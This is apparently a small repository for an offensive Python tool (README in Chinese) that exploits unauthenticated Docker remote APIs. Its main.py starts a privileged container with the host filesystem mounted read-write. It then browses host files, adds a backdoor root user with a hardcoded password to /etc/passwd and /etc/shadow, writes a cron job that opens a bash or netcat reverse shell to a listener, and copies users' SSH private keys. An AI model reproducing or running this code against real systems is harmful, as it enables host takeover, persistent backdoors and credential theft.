├── .gitignore ├── requirements.txt ├── README.md └── main.py /.gitignore: -------------------------------------------------------------------------------- 1 | env/ 2 | *.pyc -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | tabulate 2 | docker -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # docker unauthorized tool 2 | 3 | Docker Unauthorized 未授权接口利用工具 4 | 5 | ## 计划开发的功能 6 | 7 | - 远程容器控制 8 | - 添加宿主机后门用户 9 | - 添加SSH私钥后门 10 | - 宿主机进程注入shellcode反弹shell -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from tabulate import tabulate 2 | import signal 3 | import docker 4 | import sys 5 | 6 | BANNER = """ 7 | ██╗ ██╗███████╗███████╗ ███████╗████████╗██╗ ██╗██████╗ ██╗ ██████╗ 8 | ██║ ██║██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██║ ██║██╔══██╗██║██╔═══██╗ 9 | ██║ █╗ ██║███████╗███████╗█████╗███████╗ ██║ ██║ ██║██║ ██║██║██║ ██║ 10 | ██║███╗██║╚════██║╚════██║╚════╝╚════██║ ██║ ██║ ██║██║ ██║██║██║ ██║ 11 | ╚███╔███╔╝███████║███████║ ███████║ ██║ ╚██████╔╝██████╔╝██║╚██████╔╝ 12 | ╚══╝╚══╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ 13 | 14 | 15 | Docker Unauthorized 未授权接口利用工具,尚未进行完整测试,尚不保证完美工作 16 | """ 17 | 18 | MENU_IMAGE = """ 19 | 1. 选择现有的镜像进行利用 20 | 2. 使用远程拉取的镜像 21 | """ 22 | 23 | MENU_EXPLOIT = """ 24 | 1. 浏览宿主机文件 25 | 2. 添加宿主机后门用户 26 | 3. 写入计划任务进行反弹宿主机shell 27 | 4. 扫描宿主机SSH服务的私钥 28 | """ 29 | 30 | MENU_CRONTAB = """ 31 | 1. bash 32 | 2. netcat [x] 33 | """ 34 | 35 | 36 | class DockerManger(docker.DockerClient): 37 | def __init__(self): 38 | super().__init__() 39 | self.container = None 40 | 41 | def connect(self, host: str, port: str | int): 42 | self.client = docker.DockerClient(base_url="tcp://{host}:{port}".format(host=host, port=port)) 43 | 44 | def get_images(self): 45 | images = self.images.list() 46 | return images 47 | 48 | def get_containers(self): 49 | containers = self.client.containers.list(all=True) 50 | return containers 51 | 52 | def container_start(self, image_ID: str): 53 | container_params = { 54 | "image": image_ID, 55 | "command": "sleep infinity", 56 | "detach": True, 57 | "volumes": {"/": {"bind": "/tmp/host-dir", "mode": "rw"}}, # 设置将宿主机的主目录挂载进容器的/tmp/host-dir目录 58 | "privileged": True, # 启用容器的特权模式 59 | "remove": True, # 设置容器在停止后自动删除 60 | } 61 | self.container = self.client.containers.run(**container_params) 62 | print(self.container.id[0:12]) 63 | 64 | def container_clean(self): 65 | if self.container: 66 | self.container.stop() 67 | 68 | def container_exec(self, command: str): 69 | # print(command) 70 | exec_res = self.container.exec_run(cmd=command) 71 | if exec_res[0] == 0: 72 | exec_res = exec_res[1].decode("utf-8") 73 | return exec_res 74 | 75 | def container_filebrowser(self): 76 | while True: 77 | user_input = input("You can use cat or ls,press q to quit: ") 78 | if user_input == "q": 79 | break 80 | elif len(user_input.strip().split(" ")) == 2 and user_input.strip().split(" ")[0] == "cat": 81 | exec_res = self.container.exec_run(cmd="cat /tmp/host-dir{}".format(user_input.strip().split(" ")[1])) 82 | print() 83 | if exec_res[0] == 0: 84 | datas = exec_res[1].decode("utf-8").split("\n") 85 | for data in datas: 86 | print(data) 87 | elif len(user_input.strip().split(" ")) == 2 and user_input.strip().split(" ")[0] == "ls": 88 | exec_res = self.container.exec_run(cmd="ls -lh /tmp/host-dir{}".format(user_input.strip().split(" ")[1])) 89 | print() 90 | if exec_res[0] == 0: 91 | files = exec_res[1].decode("utf-8").split("\n") 92 | for file in files: 93 | print(file) 94 | else: 95 | print("Invalid input") 96 | 97 | def print_basicinfo(self): 98 | print("Listing containers") 99 | print( 100 | tabulate( 101 | [ 102 | [ 103 | container.id[0:12], 104 | " " + container.name.split(".")[0] if "." in container.name else container.name, 105 | container.image.tags[0], 106 | container.status, 107 | ] 108 | for container in self.get_containers() 109 | ], 110 | headers=["ID", "Name", "Tag", "Status"], 111 | tablefmt="fancy_grid", 112 | ) 113 | ) 114 | print("Listing Images") 115 | print( 116 | tabulate( 117 | [ 118 | [ 119 | image.id.split(":")[1][0:12], 120 | image.tags, 121 | ] 122 | for image in self.get_images() 123 | ], 124 | headers=["Image ID", "Image Tag"], 125 | tablefmt="fancy_grid", 126 | ) 127 | ) 128 | 129 | 130 | def signal_handler(sig, frame): 131 | print("\nClearing traces") 132 | docker_client.container_clean() 133 | print("Exiting gracefully") 134 | exit(0) 135 | 136 | 137 | def generater_crontab(mode: str, host: str, port: str | int): 138 | res = "*/1 * * * * root " 139 | match mode: 140 | case "bash": 141 | res += "bash -i >& /dev/tcp/{host}/{port} 0>&1".format(host=host, port=port) 142 | case "netcat": 143 | res += "nc -e /bin/sh {host} {port}".format(host=host, port=port) 144 | 145 | return res 146 | 147 | 148 | def main(host: str, port: str | int): 149 | # Check host and port format 150 | if len(host.split(".")) != 4: 151 | print("Error: Host format error") 152 | exit() 153 | for _tmp in [i for i in host.split(".")]: 154 | if len(_tmp) > 3 or not _tmp.isnumeric() or int(_tmp) not in range(0, 256): 155 | print("Error: Host format error") 156 | exit() 157 | try: 158 | docker_client.connect(host=host, port=port) 159 | except: 160 | print("Docker connect Error!") 161 | docker_client.print_basicinfo() 162 | # Select which image to use 163 | match input(MENU_IMAGE).strip(): 164 | case "1": 165 | image_id = input("Input image ID: ") 166 | if image_id not in [image.id.split(":")[1][0:12] for image in docker_client.get_images()]: 167 | print("Image ID not exist in remote docker") 168 | exit() 169 | docker_client.container_start(image_id) 170 | while True: 171 | match input(MENU_EXPLOIT).strip(): 172 | case "1": 173 | docker_client.container_filebrowser() 174 | case "2": 175 | data_passwd = r"backdorrrr:x:0:0:backdorrrr:/root:/bin/sh" 176 | print(docker_client.container_exec('echo "{}" >> /tmp/host-dir/etc/passwd'.format(data_passwd))) 177 | data_shadow = r"backdorrrr:$1$QEJSn8il$bzSzFWrxSqgUQQv6z68WY0:19641:0:99999:7:::" 178 | print(docker_client.container_exec('echo "{}" >> /tmp/host-dir/etc/shadow'.format(data_shadow))) 179 | print("Backdoor user successfully added with credentials:\nbackdorrrr : backdorrrr") 180 | case "3": 181 | match input(MENU_CRONTAB): 182 | case "1": 183 | payload = generater_crontab("bash", input("Listener Host: "), input("Listener Port: ")) 184 | print("payload: " + payload) 185 | print(docker_client.container_exec("bash -c 'echo \"{}\" >> /tmp/host-dir/etc/crontab'".format(payload))) 186 | case _: 187 | print("Not yet developed") 188 | case "4": 189 | user_path = ["/tmp/host-dir/root/.ssh/id_rsa"] 190 | for i in str(docker_client.container_exec("ls /tmp/host-dir/home")).strip().split("\n"): 191 | user_path.append("/tmp/host-dir/home/" + i + "/.ssh/id_rsa") 192 | for i in user_path: 193 | if docker_client.container_exec("ls {}".format(i)): 194 | username = i.replace("/tmp/host-dir", "") 195 | if username.startswith("/root"): 196 | username = "root" 197 | else: 198 | username = username.split("/")[2] 199 | print("检测到私钥文件 - {}".format(username)) 200 | with open("./id_rsa_{}".format(username), "w+") as f: 201 | f.write(docker_client.container_exec("cat {}".format(i))) 202 | print("已保存为:./id_rsa_{}".format(username)) 203 | case "q": 204 | break 205 | case _: 206 | print("What?") 207 | continue 208 | 209 | signal_handler() 210 | 211 | 212 | if __name__ == "__main__": 213 | DEBUG = False 214 | docker_client = DockerManger() 215 | signal.signal(signal.SIGINT, signal_handler) 216 | print(BANNER) 217 | if len(sys.argv) == 3: 218 | main(sys.argv[1], sys.argv[2]) 219 | elif len(sys.argv) == 2: 220 | main(sys.argv[1], 2375) 221 | else: 222 | print("Usage: python3 main.py ") 223 | print("Example: \n- python3 main.py 127.0.0.1 2375 \n- python3 main.py 127.0.0.1") 224 | if DEBUG: 225 | main("127.0.0.1", 2375) 226 | --------------------------------------------------------------------------------